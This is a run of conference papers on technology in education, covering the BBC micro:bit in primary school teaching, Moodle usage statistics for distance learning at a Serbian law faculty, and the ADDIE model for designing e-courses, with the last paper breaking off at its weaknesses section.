Use of new teaching materials in technical and informatics education makes this subject easier to understand and more meaningful to learn. This paper describes use of miniature computers Micro:bit and its characteristics, developed by the British company BBC in cooperation with several technology companies, with purpose to increase the number of technologically educated people. Paper presents possible use of Micro:bit in teaching technical and informatics education and its impact on development of digital competence. Micro:bit is being used in schools in the UK and part of teachers in Serbia had the opportunity to get acquainted with characteristics of the device. It has been shown how students can try out the programming in the Microsoft Block Editor. Another benefit of this mini-computer is getting to know the basics of robotics. The curriculum in primary education enables the use of such tools in educational work with students. Use of this tool and other similar to it in the work with students creates the atmosphere that is oriented towards new technologies. Simplicity of mini computers allows student to become familiar with different professional challenges that can help them with choosing a future profession.

Keywords:

BBC Micro:bit, teaching tool, new technologies, primary education, technical and informatics education.

1. INTRODUCTION

Modern society expects education to prepare future citizens of the world for the technology that will be used in the future. Also, no one can predict which way technology will develop and prosper over the next 10, let alone 50 years. In the mid-seventies of the last century, an average person could not have guessed that the technology would be publicly and widely available; that man would be replaced by computers or robots in many areas; that many professions would almost disappear and new ones would appear- those that would make some individuals the richest people of the world in a very short time. The auto industry has invested a lot of money in order for the innovative technologies to improve various aspects of this area [1] .



Fig. 1. Image BBC micro:bit.

Innovation of teaching materials enables students to use modern technology, which will help them to familiarize themselves with new developments that are rapidly alternating. The BBC company, in collaboration with several other companies, engaged in technology, has developed a miniature device called the BBC Micro: bit. Figure 1 shows the image of the miniature device. Over a million students in the UK use this device and its use at schools become part of the curriculum.

Education of students is moving in the direction of developing a logical apparatus that will enable them to evolve in the role of users, and to get prepared for life in a world where the change is the only constant. Learning the information technology enables students to:

- know how to search, assess the relevance and reliability, analyze, systematize information in electronic form using the appropriate ICT resources (equipment, software products and e-services).
- know how to express themselves in electronic form using appropriate ICT resources, including multimedia expression and expression with elements of formally defined notation used for the characteristic means of ICT (E.g., address, requests, commands, of the formula, and the like procedures, expressed in appropriate notation).
- use ICT to play, organize, structure and format information using the opportunities given by ICT resources in an efficient manner.
- know how to choose appropriate ICT resources, as well as to adapt the way of problem solving capabilities of these ICT assets.
- use ICT for communication and cooperation.
- recognize the risks and dangers in the use of ICT.

Table 1 [2] shows a part of the Scottish curriculum related to Computing science contexts for developing technological skills and knowledge.

	Early	I understand that sequences of instructions are used to control computing technology. I can experiment with and identify uses of a range of computing technology in the world around me.
	First	I understand the instructions of a visual programming language and can predict the outcome of a program written using the language.
1 1g		I understand how computers process information.
rrstanding and sing computir ology [2]	Second	I can explain core programming language concepts in appropriate technical language. I understand how information is stored and how key components of computing technology connect and interact through networks.
Unde analy techn	Third	I understand language constructs for representing structured information. I can describe the structure and operation of computing systems which have multiple software and hardware levels that interact with each other.
	Fourth	I understand constructs and data structures in a textual programming language. I can explain the overall operation and architecture of a digitally created solution. I understand the relationship between high level language and the operation of computer.

Table 1. Computing science learning outcomes in the Curriculum for Excellence Technologies: experiences and outcomes [2]

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This device is designed to help students aged 8 to 13 years to become familiar with algorithmic thinking, science, especially with coding, programming, game development and robotics. Such devices where students have the opportunity to create their own specific content stimulate creativity and develop the entrepreneurial spirit. One of the most important roles of the BBC micro:bit is to introduce students to the way games are developed. In this way we have a chance to show students that creating a game is not just entertainment, but commitment and creativity.

2. TECHNICAL CHARACTERISTICS

BBC micro:bit is a small device that can be placed in a pocket, its production is low-cost, and because of the size of the device, its transport is easy and it can easily become accessible to a large number of students. Basic characteristics of the micro:bit [3] device are:

- 25 red LEDs to light up, flash messages, create games and invent digital stories.
- Two programmable buttons are activated when pressed. It can use the micro:bit as games controller. It pauses or skips songs on a playlist.
- there is an on-board motion detector or "accelerometer" that can detect movement and tell other devices you're on the go. Featured actions include shake, tilt and freefall. Turn the micro:bit into a spirit level. Light it up when something is moved. Use it for motion-activated games.
- A built-in compass or "magnetometer" is there to sense which direction you're facing, your movement in degrees, and where you are. Includes an in-built magnet, and can sense certain types of metal.
- Bluetooth Smart Technology to connect to the internet and interact with the world around you. Connect the micro:bit to other micro:bits, devices, kits, phones, tablets, cameras and everyday objects all around. Share creations or join forces to create multi-micro:bit masterpieces. Take a selfie. Pause a DVD or control your playlist.
- Five Input and Output (I/O) rings to connect the micro:bit to devices or sensors using crocodile clips or 4mm banana plugs. Use the micro:bit to send commands to and from the rings, to power devices like robots and motors.



Fig. 2. The BBC micro:bit front and back [3].

3. DEVICE OPTIONS

Using micro:bit in the classroom can develop the following ICT topics: creating simulations of physical systems; making algorithms that respond to different inputs and give different outputs; solving the same problem using different tools and coding languages; storing and manipulating data; introducing Boolean logic and operators to students; connecting multiple computer systems together and using technology in art. Students can use this device in a very simple way with good guidance by the teacher. Microsoft developed web application and hosting service- all micro:bits share a one website and users can choose which code they will be use. Programming is allowed in:

1. JavaScript editor makes it easy to program micro:bit in Blocks and JavaScript, along with great new features like peer-to-peer radio. (Fig. 3.)

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Fig. 3. Show JavaScript editor.

2. Python editor (Fig. 4.) is perfect for those students who want to move their coding skills further. A selection of snippets and a range of premade images and music give student a helping hand with their code.



Fig. 4. Show Python editor.

Before a student compiles micro:bit script he can run it using the micro:bit simulator, after successful simulation transfers code on a device.

4. APPLICATION IN TEACHING IT IN PRIMARY EDUCATION

The overall objective of teaching informatics and computer science is that students are trained to use computers and acquire skills in the application of computers in everyday life, exploring the basic concepts of informatics and computing, developing interest in the use of computers in everyday life and work, training for computer work, as well as encouraging creative work on the computer.

In primary education, within the subject of informatics, students have the opportunity to independently create a project that is either part of the contents of a subject that is taught during the training or other content that they can choose independently. Drafting terms of reference – Micro:bit, should be set as a target. For the realization of the project task, students use the knowledge acquired in the course Informatics and Computing. The project can be implemented individually or in groups of two to three students. If students work in a group, teacher should clearly define the tasks and unities for each student that he/she will work on independently. The assumption is that school has a Micro: bit device, and that students have the Internet access.

A teacher instructs students on how they can explore the possibilities of Micro: bits and then directs them to the Instructions on the safe use of Micro bit [5]. (Fig. 5.)

Teacher also instructs students about [5]:

Requirements - A laptop or PC running Windows 7 or later, or a Mac running OS X 10.6 or later, or a smart phone or tablet, An micro USB cable to connect computer and BBC micro:bit to access to the Internet [5]:



Fig. 5. Part of the instructions on the safe use of Micro: bits.

Accessing the BBC micro:bit website - There are lots of tutorials and information on the website.

Connecting to computer and coding micro:bit -Students can connect their micro:bit to computer with a micro USB cable. On the website, student can choose the editor that they would like to code with. When they have finished their script, they can press run to see it playing on the on screen simulator.

Compiling script – By clicking compile in the editor, students script is converted into a .hex file that can transfer and run on BBC micro:bit. If students want to compile a different script they should click on My Scripts, select the wanted script, click edit and compile.

Transferring the file to BBC micro:bit – Students should drag and drop the .hex file onto your micro:bit drive. The LED on the back of micro:bit flashes during the transfer which only takes a few seconds; once transferred, the code will run automatically on your micro:bit. Once the transfer of a file is finished, the BBC micro:bit can be disconnecting from computer.

Powering BBC micro:bit - When BBC micro:bit is not connected to computer with a USB, it needs 2 x AAA batteries to power it.

Using phones and tablets – Students can find out how to use the BBC micro:bit App to connect their phones and tablets with the BBC micro:bit in the getting started section on the website.

In the process of monitoring project development, the teacher can talk with the students about the concept of copyright, draw attention to the ways of sharing digital materials, i.e. methods of downloading other people's material and setting up their own material on the Internet. Recommended number of hours is six to eight hours for these activities. Teachers should monitor students in their work and encourage them to work independently. Project should be displayed and presented to the whole class or wider community. The presented results, as well as problems and solutions, should be commented on and analyzed together with students.

5. CONCLUSION

Until recently, the digital world has been a small part of our lives, clearly separated from the "real" world, in which, out of obligation or for fun, relatively few were leaving and staying relatively short. Today, digital world pervades our overall living and working space to the extent that digital illiteracy dramaticly handicaps and marginalizes an individual. Using the BBC Micro: bit in teaching is designed so that students independently create notions in digital world and become familiar with the basics of programming, as well as find some information that will enable them to continue learning independently.

BBC Micro: bit should not be considered as a mean by which students will master programming, but as a device used for setting foot in the world of programming and thinking about own future professional development.

In the 12th Century, it was mostly the clergy who could read or write, but increasing administration made literacy much more widespread (everyone began keeping books). He believes that all professional men (doctors, lawyers, surgeons, scriveners, schoolmasters), 20% of tradesmen, as well as many freeholders, were literate. Mortimer estimates that general literacy was 20% in the towns, whereas 5% in the countryside [6].

Nowadays, so many centuries after the mentioned period, the same can be said for computer literacy. It is a necessity for anyone who wants to develop professionally, learn or simply operate within the analog world that is more and more pervasive digitalised.

Let's encourage students to create their first system, something never built before, to spark their interest. [8]

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INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

INFORMATION TECHNOLOGY IN EDUCATION

THE IMPORTANCE OF DISTANCE LEARNING AND THE USE OF MOODLE EDUCATIONAL PLATFORM IN EDUCATION

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Abstract:

Distance Learning is a system and the process of connecting users to distributed educational resources. This is a modern approach to education, in which the information technology emerges as an intermediary in contacts between trainers and users who are not in the same place at the same time. The concept of DLS is actually applicable to all levels of education. It can be said that a large number of world-renowned institutions of higher education has DLS form of education in their curricula. Moodle learning platform is a free, open-source platform for distance learning. Moodle system is used as the primary way for courses, as well as an additional tool to support traditional learning. The methodological approach to work includes a general analytical method, the basic quantitative data analysis and deductive approach when drawing conclusions. The research part of this paper deals with the main question - what is the real use of the Moodle platform at the Law Faculty of Economics and Justice within the study program Studies remotely - General Law? Data on the effectiveness of the application of Moodle platform at the university presented in this paper by tables and graphs and related to the number and type of users who visited the Moodle platform in the period from 8 January to 5 March indicate that the Distance learning system is a concept well accepted and successfully implemented. The data also indicate that the response of users, especially students, is beyond all expectations with the continuous progressive growth.

Keywords:

Distance Learning, Moodle platform, Faculty of Law for Commerce and Judiciary, modern education.

1. INTRODUCTION

Education aided by information technologies implies at least three basic components: Computer Assisted Learning – CAL; Computer Assisted Research and Distance Learning System – DLS.

CAL is most commonly used and it is very suitable for the realization of interaction between students and computers to improve the existing technology learning, making teaching more obvious, more dynamic and more interesting with the involvement of more students' senses in acquiring new knowledge. Computer-aided learning involves multimedia educational software, computer simulation, virtual reality, artificial intelligence, etc. [1, p. 1].

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CAR is used in higher education institutions for theoretical research in various fields of literature and empirical research using appropriate statistical software (STAT VIEW, SPSS, etc.). Theoretical research literature is almost unthinkable without the use of computer technology, because today, almost all major books, articles, studies and collections of professional and scientific meetings are translated into electronic editions and placed on publishing houses web portals, universities, libraries, schools, etc. [1, p. 1-2].

Distance learning exists for more than 100 years, but with the emergence of the Internet it gains a new dimension, and because of that it is considered a new phenomenon. The concept of DLS is actually applicable to all levels of education, from primary through secondary and higher, to various forms of education and training during working life at the workplace and outside it (lifelong learning) [7, p. 139]. Many universities in the world, in order to equalize the level of knowledge that is given to students, instead of the praxis of professors traveling to other faculties, they introduced a practice of exchanging ideas by using telecommunication technologies. The professors give lectures at the university, and it is transmitted over the Internet to other locations. With this, long-term intentions of managers in education, that instead of people, ideas are the ones that should travel, are realized which significantly reduces faculty material costs. Distance learning represents an instructional mode that does not require the presence of students and lecturers in the same room [4, p. 147].

Moodle is an open source learning platform created by pedagogical principles; it is represented in the application of the DLS concept. It is software that allows you to easily create, modify and manage online courses, as well as to easily access the content and other characteristics important for the educational institutions and their users.

Studies have shown that Moodle is the most popular e-learning system is use, both in the Republic of Serbia and in the region. An increasing number of institutions in Serbia that use this platform in the development and improvement of the teaching process also proves global popularity of Moodle system [9, p. 80-81].

This paper intends to summarize the main questions of importance in relation to distance learning system as a modern approach to education, the features of Moodle learning platform and its representation and application in the world and Serbia. After the theoretical part, with the use of relevant methodology, a brief survey regarding the representation and implementation of Moodle software in the field of higher education at the Law Faculty of Economy and Justice, will be presented.

2. THEORETHICAL DETERMINATION

Definitions of distance education are not unique and have changed over time, often depending on the development of technologies that have been implemented, but also the science of teaching at a distance (distance teaching), and its final result, distance learning (distance learning), especially in higher education, where distance education had appeared [7, p. 139].

Distance learning is a system and the process of connecting users to distributed educational resources. This is a completely new form of education, in which the information technology emerges as an intermediary in contacts between trainers and users who are not in the same place at the same time. Based on the application of computer networks and other modern electronic devices, this concept enables users of education services to monitor the lectures, access the educational facilities and programs, communicate with the teacher and gain a diploma (certificate) [8, p. 2].

Distance learning by Tepšić, Blueberry, Bakić [5, p. 2] "means that the main carrier of communication between teachers and students is separation (at a different time and a different place - the separation of instructors - the tutor of the student). It must include two-way communication between teachers and students that aims to facilitate and support the process of education. It is used as an intermediary for the necessary two-way communication technology. "

Distance learning, above all, is a democratic form of education, because it creates all the preconditions of equality of access to information and knowledge, while significantly reducing the cost and risk of a "force" inappropriate involvement of the teaching staff, because number of qualified teachers is still proportionately small compared to the number of potential students. Because of that, there is a considerable attention paid to the development of distance education in the world [5, p. 2]. However, in addition to the advantages of the concept of distance learning, which are of great importance for modern society, Janeska and Taleska [6, p. 2] point out that "despite all the advantages, e-learning has some disadvantages. First, students must have a certain level of computer literacy. Students can also feel the lack of face to face interaction with the teacher. Assessment of student work can be problematic, because teachers don't know who has really solved the tasks, or answered the questions. In any case, e-learning cannot replace the traditional classroom environment, but it primarily enriches the content and use of new technology. "

According to the forms of communication, there are two forms of distance learning:

Synchronous forms of distance education are based on the assumption that all users and trainers are "online" at the same time. Types of online teaching are: interactive television, computer conferencing, multi-user domains (Multi-User Domains - MUD). The main advantage of synchronous technology is the establishment of direct communication between trainers and users.

Asynchronous form of education is represented to a greater extent because it gives the user the ability to choose when and how much time to spend in the virtual classroom (distance education, audio and video cassettes, DVD, electronic mail, television educational program, and www oriented courses). Asynchronous schools are suitable for higher forms of education (complete secondary and high school) [5, p. 3].

When we talk about the representation of DLS concept, we can say that a large number of world-renowned institutions of higher education in their curricula has this form of education.

According to the data from the American Association for Distance Learning (The United States Distance Learning Association, USDLA) for 2003, there were about 3,000,000 students on some form of distance learning. Some of the most important institutions that use DLS concept in their work in the United States are: National Technological University, Western Governors University, University of Phoenix, California Distant Learning Program, Columbia Network for Engineering Education; important institutions in Europe are: The International Council for Open and Distance Education - Oslo, United Kingdom Open University, the Virtual University Enterprises, University for Industry, etc. [7, p. 138].

In Europe, significant initiatives to develop distance learning are realized through the "European Distance Education Network" (EDEN) and the "European Association of Distance Teaching Universities Education". EDEN members from Serbia are: E-learning Network, Link group (who is the founder of the Belgrade Academy of Computer Science) and the Faculty of Economics from Subotica [7, p. 139].

Computer technology is continuously innovated and DLS concept includes significant investments by institutions that enforce them. Whether to use their own or rented kind of platform depends on the software educational institutions are going to use. The system, which is gradually gaining popularity in the world, is known as Moodle.

Moodle is a system for creating courses i.e. software package that is designed to help teachers to create quality " online " courses and to oversee the results of their students. Such e-learning systems are sometimes called "systems of distance learning," "Terms of virtual learning" and "System Manager meaningful learning". Moodle is used by universities, schools and individual instructors, first of all, in order to improve teaching by using web technology [9, p. 76]. System features faculties decide to use for managing the learning process are: high availability - the ability to handle thousands of users simultaneously; stability - the ability to withstand an increase in the number of users with no drop in performance; easy usability - the ability of the user (student or teacher) to very quickly learn how to use the system; interoperability - the ability to integrate with existing software within the institution; stability - a stable version of the software. Moodle provides continuous services to the students and teachers; security - characteristics of the system that does not represent a security risk higher than other components of the information system of the institution [3, p. 781].

As already mentioned, Moodle is a free, open-source platform for distance learning.

Moodle Learning Management page provides teachers with full support for the organization and implementation of online courses. Some of the most important Moodle options are: production of a large number of courses on a single system in various forms, planning courses - schedule of activities, calendar, the management of user roles and user groups in courses, working with existing files and educational materials, production of various types of online tests, tracking the activities of all the users, many tools for communication and collaboration, creating a dictionary of technical terms, the management system backup, statistics, access, extensive help system [2, p. 32].

Moodle was designed to be used primarily as a tool for asynchronous learning, where learning takes place at different times. However, it also contains modules for synchronous form of learning. Moodle is used as the primary means for courses, as well as an additional tool to support traditional learning. Simply put, Moodle is a tool for teachers who need to use it to improve learning [3, p. 781].

A pioneer in the application of distance learning is Medical University of Serbia in Belgrade, which in 1999/2000, has started the realization of the first on-line courses. Microsoft and the Faculty of Electronics in Nis are now participating in development and implementation of e-education in Serbia [9, p. 79]. The Academic Network of Serbia - AMRES is vitally important for the development of distance learning in Serbia. AMRES is primarily scientific research and educational computer network, which provide modern information and communication services and the Internet connection for its members. In 2007, AMRES launched a project about the introduction of e-education in many colleges. It was decided to use already ready, open - source platform for distance learning called Moodle. A large number of educational institutions embarked on this project with the aim of increasing the quality of both the teaching and successful learning. In order to develop e-learning, the following faculties have joined the project: Faculty of Architecture in Belgrade, Faculty of Electrical Engineering in Belgrade, Faculty of Medicine in Belgrade, Faculty of Transport in Belgrade, Faculty of Forestry in Belgrade, Faculty of Philosophy in Belgrade, Faculty of Mechanical Engineering, Faculty of Science in Novi Sad, Faculty of Medicine in Novi Sad, FON in Belgrade, Faculty of Economics in Subotica, Faculty of Philology in Belgrade and Faculty of Mechanical Engineering in Belgrade [9, p. 80].

3. METHODOLOGY, HYPOTHESIS AND DATA SOURCES USED

Bearing in mind that the first part of this paper is dedicated to the theoretical definitions of the concept and DLS Moodle software platform, as well as their representation in the world, Europe and Serbia, this paper has primarily applied a methodological approach that involves the general analytical methods in theoretical content analysis, fundamental analysis of the data , the analysis of Moodle software application at the Law Faculty of Economics and Justice, within the study program - Study remotely-General law, and deductive approach when drawing conclusions.

If you take a baseline rule that Moodle educational platform can be accessed by different users who can be divided into two groups: administrators and ordinary users, and that there are three kinds of ordinary users (teachers – who regulate the content, students – who can view the content they are registered to, and guests - users who are not logged on to the system with a username and password, and who can view information about the courses and possibly some courses), the question that arises is - what is the real implementation of Moodle platform at the Law Faculty for the economy and the judiciary in Novi Sad, University business Academy in Novi Sad, within the study program Studies remotely - General law taking into account the number of visits and authorized regular users, divided into three groups mentioned, and the total number of accredited students per year? For the reference period we have taken the two-month period - from 08 January 2017 till 05 March 2017, classified by weeks.

4. ANALYSIS OF MOODLE PLATFORM APPLICATION AT LAW FACULTY OF ECONOMY AND JUSTICE

The subject of quantitative data analysis is the success in the implementation of the Moodle platform at the Law Faculty of Economics and Justice, within the study program Studies remotely - General Law. The analysis is based on the number of visits by ordinary users (students, guests, teachers) and authorized users on the front page E-Real Home, classified by weeks in the period from 8 January to 5 March, in 2017, whereby it must be kept in mind that this is undergraduate study program and that the number of accredited students for this study program is 50, for each year.

Korisnici									
End of period (weeks) in 2017.	Authorized users on the front page	Guest	Student	Lec- turer	Sum				
March 05	82	121	301	44	548				
February 26	58	87	108	17	270				
February 19	80	147	377	8	612				
February 12	95	126	468	5	694				
February 05	200	229	980	3	1412				
January 29	90	90	1070	0	1250				
January 22	47	87	378	0	512				
January 15	108	108	851	8	1075				
January 08	72	90	916	0	1078				

Table 1. Frequency of users of the moodle platform law faculty of economics and justice for the period 08.01.-05.03. 2017.

^aAuthor data from institutions



Fig. 1. The graphic data expressed in Table 1.

5. DISCUSSION ABOUT RESULTS OF THE ANALYSIS

As it is shown in tabular and graphical representation of users' visits to Moodle platform at the Law Faculty of Economics and Justice in the period from 8 January to 5 March, in 2017, DLS as a modern approach to education has encountered a very good response from the students. Although the mentioned period was an exam period and the number of activities on the Moodle platform was reduced, it can be concluded that the user response to Moodle platform is more than successful with the tendency of the active progression, and that the application of the DLS modern educational approaches achieve the expected results.

Performance of Moodle platform for the two-month period at the Law Faculty of Economics and Justice remains to be monitored, as well as quarterly, semi-annually and annually. The summarized results will certainly be the subject of a later analysis.

6. CONCLUSION

It cannot be disputed that along with the use of modern media, didactic teaching has become more dynamic and interesting, customizable to the capabilities of students. With an even better organization and improvement of the current situation, we can provide even greater support for the content, activities, better quality and durability of their knowledge.

It is obvious that the DLS concept is tremendously developing in the world. What can without any doubt be regarded as a significant advantage of distance learning is the fact that students do not lose anything in terms of teaching quality and volume of knowledge acquired through distance learning while they gain, on the other side, the opportunity to learn at a pace that suits them, at time that suits them, from wherever it suits them, making it easier to reconcile studies with other life commitments. Properly placed DLS system (technology, personnel, organization etc.), adequate teaching materials, designed and continuously upgraded in accordance with the purpose and objectives of this concept, and the proper approach to communication as an important part of distance learning can greatly contribute to achieving several key objectives of long-term development of education within the education development Strategy in Serbia until 2020. Ongoing evaluation of performance and the level of development of the concept of DLS are also very important, in accordance with the changes taking place in developed countries, and based on the experiences and attitudes of teachers and students in practice.

According to the already said, the data presented in this paper relate to proactive approach of application performance testing of Moodle platform at one faculty in the field of legal sciences and socio-humanistic education fields, based on the number and type of users' visits to Moodle platform in the period from 8 January to 5 March, in 2017. Summing up the obtained data, it was concluded that the DLS concept is well accepted and successfully implemented and that the response of users, especially students, as a separate reference category of ordinary users, is beyond all expectations (8 January 2017 - 916 visits, 29 January 2017 - 1070 visits, etc.), with continuously high growth.

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SINTEZA 2017

INFORMATION TECHNOLOGY IN EDUCATION

ADDIE MODEL FOR DEVELOPMENT OF E-COURSES

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Abstract:

This paper gives a review of ADDIE model used in the preparation of teaching materials for use in electronically supported teaching process generally, and especially for electronic learning. ADDIE model proved itself as the very useful instructional model in preparation of materials for traditional teaching and there is a strong intention to use this model for electronic and on-line teaching materials.

Keywords:

ADDIE model, instructional model, e-Learning, materials.

1. INTRODUCTION

Nowadays, e-learning requires significant financial support, in particular, initial investments, such as the establishment of e-learning infrastructure. This refers both to hardware as well as software, although there are many open solutions that might meet your demands. Second most important costs are the cost for preparation of quality education content and teaching materials. To that end, one has to add spent time and eventual costs of training educational system users. The mentioned resources will be better used if adequate pedagogic and methodical principles were applied in the process of selection and creation of teaching content and e-learning system in general.

At the very beginning of the implementation of the Internet and Web in e-learning, the first step in the delivery of teaching materials was the simple provision of teaching materials in the on-line form. This was a limiting factor that contributed to the low quality of teaching materials due to the lack of adequate supportive technologies we have today. This limitation prevents implementation of any proper pedagogic method. Nevertheless, these were the initial pioneering steps in e-learning. However, today it is very important to foresee and to precisely define, for any course or materials, firstly the teaching conditions, learning objectives and target group of students in order to maximise the effects of learning outcomes.
2. INSTRUCTIONAL DESIGN

The instructional design presents the practice of creating "instructional experiences which make the acquisition of knowledge and skills more efficient, effective, and appealing."[1] In modern e-learning systems, instructional design is based on a combination of behavioural, cognitive and constructivist theories of learning due to the nature of virtual learning environment. These theories provide an insight in learning process and achievement of learning outcomes making modern e-learning successful.

For example, constructivism suggests that student should bear responsibility for their own learning. This is due to the fact that transfer of knowledge is far from simple, and being proactive student contributes to the better construction of knowledge in students' conscience. Therefore, the student is motivated to create new idea only if actively involved in the learning process. Group work can also contribute to exchange of experiences with other students, while at the same time enables a deeper understanding of learning material. It is clear that constructivist learning model includes investigative activities of students and development of social and educational communication channels. Investigative approach by student involves making mistakes as important part of learning process. While learning, the student develops his/her own education culture that results with growth in the student learning autonomy [2].

According to Ertmer and Newby, behavioural strategies and recommendations for instructional design are primarily used in the studying of facts, cognitive strategies in the study of processes and principles, while constructivist strategies are used for support of advanced thinking that promotes personal knowledge, situated and contextualised learning [3].

Therefore, the instructional design provides recommendations for the planning of the learning process in e-learning systems, as well as precise steps that should be followed during the process of creation of an electronic course. It is possible to distinguish three general phases in the process of preparation of an e-course: the creation of e-course, implementation and evaluation of created e-course [4].

Creation of e-course is based on the activities related to the planning of teaching process, and for this is necessary to define:

 General learning objectives (content, of course, essence of content, wishes of students, students' motivation and expectations)

- Target groups (identification of individual student characteristics and previously acquired skills and knowledge and defining of general characteristics of the group)
- Teaching methods (how to use modern information and communication technologies (ICT) in learning process)
- Resources (review of technical and pedagogic aspects of resources available for implementation of e-course and training of teachers to use these ICTs in learning process in the more effective manner)
- Learning environment (to define how it is going to be used – as place for simple distribution of information, as data storage, or as interactive environment and environment for sharing knowledge between significant number of students)
- Learning material (creation of multimedia material or materials in electronic form)

The implementation phase means monitoring of learning process and review of aspects that teachers should take into account for the implementation of e-learning. At this stage individual characteristics of students are studied, the means of interaction and the general rules of work in the "on-line" environment.

The evaluation process of learning and student assessment must be consistent with the goals of learning so that the evaluation is carried out through all the activities that help achieve these goals. Based on the feedback, the teacher continues to guide students in the process of acquiring knowledge. The assessment of students is one of many forms of evaluation.

3. ADDIE MODEL

The ADDIE model was initially developed by Florida State University in order to explain "the processes involved in the formulation of an instructional systems development (ISD) program for military inter-service training that will adequately train individuals to do a particular job and which can also be applied to any interservice curriculum development activity."[5] The steps were revised over the years and eventually the model itself became more dynamic and interactive than its original. Its most popular version appeared in the mid-80s, as we understand it today.

Considering previously mentioned pedagogic aspects of learning and their effect on the creation of e-course, ADDIE model is perhaps the most popular model used for the creation of learning materials. The name is an acronym of the phrase - *Analyse*, *Design*, *Develop*, *Implement*, *Evaluate* [6]

It is important to emphasize that the creation of a course in this model is an iterative process (repetitive) during which the creator of the course can return to any previous stage of course development, depending on the results of the evaluation carried out in all stages of development, but also at the end of the course.

ADDIE model does not suggest follow-up of any of the three theories of learning but represents a project management tool that helps in the preparation of the ecourse and instructional design taking into account all the factors that may affect the quality of course.

Analysis

The analysis is the first step of ADDIE model in the design of courses and teaching materials for on-line teaching and learning. At this stage, it is necessary to create the "overall picture" of the instructional design integrity. This is a "contemplative" stage where it is necessary to think about the student-centered approach for the design of course or of materials. The analysis, in fact, presents a "planning phase" in which it is necessary to identify the basic parameters that will be traceable in other phases of the ADDIE model. The adopted parameters must be quantitatively and qualitatively defined as much as possible for the purpose of evaluation in all other phases of the model and after implementation based on the feedback from students and the thinking of teachers who realise the educational process.





In order to ensure successful results from the overall process, at this stage it is necessary to set up a series

questions dealing with: course design, target groups, learning objectives, content identification, presentation environment for content (on-line, on-demand, vis-à-vis, printed, CD...), teaching and learning strategies, other possible limitations. Very important question is also - how to ensure the quality of the whole process?

The analysis refers to the gathering of information about one's audience, the tasks to be completed, how the learners will view the content, and the project's overall goals. Upon collection, instructional designer can classify the information to make more effective and applicable content.

Some common tasks and questions related to this stage are:

- To define the overall background of students (personal and educational information, age, nationality, previous experience and interests).
- To define learning outcomes and learning needs (what results should be achieved, what knowledge should be adopted...)
- To define adequate learning environment and delivery options (virtual, live, on-line discussions, face-to-face, blend)
- To define learners' knowledge and skills required (specific skills required or not, skills in case of disabled persons participating...)
- To define all pedagogical considerations, especially in the case of on-line course (adequacy of selected approach, adequacy of selected methodology, constraints...)
- To define overall project objectives (instructional goals, learning goals, teaching goals...)
- To define necessary resources for the project (technical, human, time, skills...) as well as their influence on effectiveness and achievement of project objectives.

Design

In this phase, instructional designers begin to create their project. The information gathered from the analysis phase, in conjunction with the theories and models of instructional design, is meant to explain how the learning will be acquired. For example, the design phase begins with writing a learning objective. Tasks are then identified and broken down to be more manageable for the designer. The final step determines the kind of activities required for the audience in order to meet the goals identified in the analysis phase.



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In the design stage, it is necessary to create a draft or framework of the course and to start with the construction of course structure. This means that it is necessary to have all and accurate guidelines for the creation of course structure as defined during analysis phase including the schedule on the unfolding of the course, the arrangement of individual lessons during the course, the shape of the teaching strategy and all necessary resources to in accordance with the given schedule.

Design phase includes additional detailed planning of the following:

- Educational goals, or learning objectives,
- Educational content (lessons),
- Methods,
- Selected method and frequency of assessment,
- Use of on-line technologies for knowledge presentation,
- Methods and frequency of communication with participants (target group).

Some common tasks and questions related to this stage are:

- To define the type of media used (audio/video/ graphics, own or third party...)
- To define teacher's style approach (behaviourist, constructivist etc.)
- To define the level and types of activities generated by the study (collaborative, interactive, individual...)
- To define a timeframe for each activity (hours, lessons, modules, scalability, and dependencies in workflow...)
- To define precisely skills and knowledge developed (mental skills, cognitive skills...)
- In the case of web-based e-learning, complete definition of user interface (look of the site, func-tionalities...)
- To define feedback mechanisms on digestion of the lessons (technical solutions, questionnaires, brief exams...)

4. DEVELOPMENT

The development phase involves the transition from the "contemplative" to "physical" implementation. At this stage, the final structure and content of the course are created in accordance with all the elements and parameters defined in the previous two phases. Development implies close cooperation between the author of the course and the person in charge of the technical performance of the material for the course will be set to "on-line" mode. This involves teamwork, except in the case where the teacher is also the supplier of multimedia content prepared for a specific platform, for example, LCMS (Learning Content Management System). This phase this is very important synergy between teacher and content producer, in cases where teachers are not managing creation and maintenance of course materials. The teacher must be able to transform a vision of a class in order to set up such virtual classroom with all required functionalities.

Given the technical possibilities of LCMS, it is necessary to obtain and prepare the technology for presenting the content, interactions with students, as well as to plan activities for students' teamwork and work at home, or "off-line".

The Development phase is all about putting it into action. This phase includes three main tasks: drafting, production and evaluation. Development thus involves creating and testing of learning outcomes.

Some common tasks and questions related to this stage are:

- Ensure teamwork of all (optimal capacity performance by all involved, effective work of all members...)
- Ensure timely submission and preparation of learning materials (creation of materials per defined schedule, in time preparations...)
- Ensure production of materials per task intended for (no extra work or sufficient materials should appear).
- Ensure prototyping for evaluation purposes (testing, checking, and making possible corrections)

5. IMPLEMENTATION

The implementation phase represents the first test of making the entire course and is therefore recommended to divide this phase conditionally into two parts: a test implementation phase and final implementation phase. Test implementation should confirm the integrity and functionality of the created course and the accompanying materials and access to the exchange rate at the moment are limited to the teachers and administrators of the system, possibly to test-users. If the integrity and functionality of the course are confirmed, then the course can be officially in "on-line" mode and available to all students accredited for access. The final means of implementation in addition to setting "on-line" mode, and preparing students for the use of educational materials and technology, but also for information on all the details of implementation of the course, especially about its structure and dynamics tests.

During the implementation phase, a procedure for training the facilitators and the learners is developed. The facilitators' training should cover the course curriculum, learning outcomes, a method of delivery, and testing procedures. Preparation of the learners includes training them on new tools (software or hardware), student registration.

This is also the phase where the project manager ensures that the books, hands on equipment, tools, CD-ROMs and software are in place and that the learning application or Web site is functional.

Some common tasks and questions related to this stage are:

- To evaluate the emotional feedback from teachers and students during initial demonstration of the project (genuinely interested, eager, critical or resistant)
- To prepare backup plans for any possible error during testing (format of media, convertors, ...)

6. EVALUATION

ADDIE model makes it possible to define two types of evaluation: intermediate (formative) and summative (see Figure 2).



Fig. 2. Advanced (improved) ADDIE model [8].

Some common tasks and questions related to this stage are:

• To define the categories within which the project effectiveness can be achieved (improved learning, better motivation etc.,)

- To define data collection policy (including strategy, timing, frequency, tools...)
- To ensure analysis of feedback from all participants in the system (instructors, students, ...)
- To set-up quality assurance tools for clarity of instructions, reliability and content validity (different tools or the same)
- To define final output and holder of report preparation (will it be an instructor, manager, ...)

7. WEAKNESS OF ADDIE MODEL

